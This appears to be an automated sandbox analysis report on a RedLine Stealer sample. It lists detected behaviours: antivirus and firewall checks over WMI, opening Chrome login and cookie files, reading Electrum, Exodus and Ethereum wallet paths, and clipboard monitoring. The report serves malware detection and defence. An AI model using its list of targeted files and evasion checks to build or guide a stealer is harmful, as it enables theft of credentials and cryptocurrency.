Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation			Jump to behavior

Queries information about the installed CPU (vendor, model number etc)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Queries the cryptographic machine GUID

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Contains functionality to query local / system time

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_004760E0 SystemTimeToFileTime,SystemTimeToFileTime,GetSystemTimeAsFileTime,FileTimeToLocalFileTime,SystemTimeToFileTime,GetSystemTimeAsFileTime,FileTimeToLocalFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_004760E0

Lowering of HIPS / PFW / Operating System Security Settings:

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

AV process strings found (often used to terminate AV products)

Source: Amcache.hve.0.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: mopnns.exe, 00000004.00000003.467098330.0000000005A25000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.480988504.0000000005A26000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000003.467174939.0000000005A04000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.480909790.0000000005A05000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Source: Yara match	File source: 4.2.mopnns.exe.49d0ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.mopnns.exe.74ac80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.21c54fe.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.4f40000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.mopnns.exe.74ac80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.49d0ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.21c54fe.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.21c63e6.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.49d0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.4f40000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.49d0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.21c63e6.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.468644721.0000000002185000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.476408687.0000000004F40000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.475297379.00000000049D0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.470893581.00000000034CA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.402292014.000000000074A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mopnns.exe PID: 6312, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp	String found in binary or memory: rm4C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp	String found in binary or memory: rm-cjelfplplebdjjenllpjcblmjkfcffne|JaxxxLiberty
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: mopnns.exe, 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp	String found in binary or memory: rm8C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Source: mopnns.exe, 00000004.00000002.468644721.0000000002185000.00000004.00000001.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies			Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

OS version to string mapping found (often used in BOTs)

Source: VYeSXonMT1.exe	Binary or memory string: WIN_XP
Source: VYeSXonMT1.exe, 00000000.00000003.374805242.0000000003A60000.00000004.00000001.sdmp	Binary or memory string: ?*A Goto/Gosub must not jump into a block that doesn't enclose it.ddddddd%02d%dmsSlowLogoffSingle1.1.33.02\AutoHotkey.exeWIN32_NTWIN_8.1WIN_8WIN_7WIN_VISTAWIN_XPWIN_2003WIN_2000%04hX0x%Ix*pPIntStrPtrShortInt64DoubleAStrWStrgdi32comctl32kernel32W-3-4CDecl-2This DllCall requires a prior VarSetCapacity.Pos%sLen%sPos%dLen%dLenMarkpcre_calloutCompile error %d at offset %d: %hs-+0 #diouxXeEfgGaAcCpULlTt%0.*fCcFfSelectVisCenterUniDescLogicalNoSortAutoHdrFirstBoldExpandGDI+JoyJoyXJoyYJoyZJoyRJoyUJoyVJoyPOVJoyNameJoyButtonsJoyAxesJoyInfoGetProcessImageFileNameWpsapi
Source: VYeSXonMT1.exe	Binary or memory string: WIN_VISTA
Source: VYeSXonMT1.exe	Binary or memory string: WIN_7
Source: VYeSXonMT1.exe	Binary or memory string: WIN_8
Source: VYeSXonMT1.exe	Binary or memory string: WIN_8.1

Yara detected Credential Stealer

Source: Yara match	File source: 00000004.00000002.469335503.0000000002648000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mopnns.exe PID: 6312, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Source: Yara match	File source: 4.2.mopnns.exe.49d0ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.mopnns.exe.74ac80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.21c54fe.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.4f40000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.mopnns.exe.74ac80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.49d0ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.21c54fe.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.21c63e6.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.49d0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.4f40000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.49d0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mopnns.exe.21c63e6.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.468644721.0000000002185000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.476408687.0000000004F40000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.475297379.00000000049D0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.470893581.00000000034CA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.402292014.000000000074A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mopnns.exe PID: 6312, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00416D40 Shell_NotifyIconW,DeleteObject,IsWindow,DestroyWindow,DeleteObject,DeleteObject,DeleteObject,DestroyIcon,DeleteObject,DestroyIcon,IsWindow,DestroyWindow,DeleteObject,DeleteObject,DeleteObject,DeleteObject,DestroyIcon,DestroyIcon,IsWindow,DestroyWindow,DeleteObject,RemoveClipboardFormatListener,ChangeClipboardChain,mciSendStringW,mciSendStringW,mciSendStringW,DeleteCriticalSection,OleUninitialize,_free,_free,_free,		0_2_00416D40
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004175E0 AddClipboardFormatListener,PostMessageW,SetClipboardViewer,RemoveClipboardFormatListener,ChangeClipboardChain,		0_2_004175E0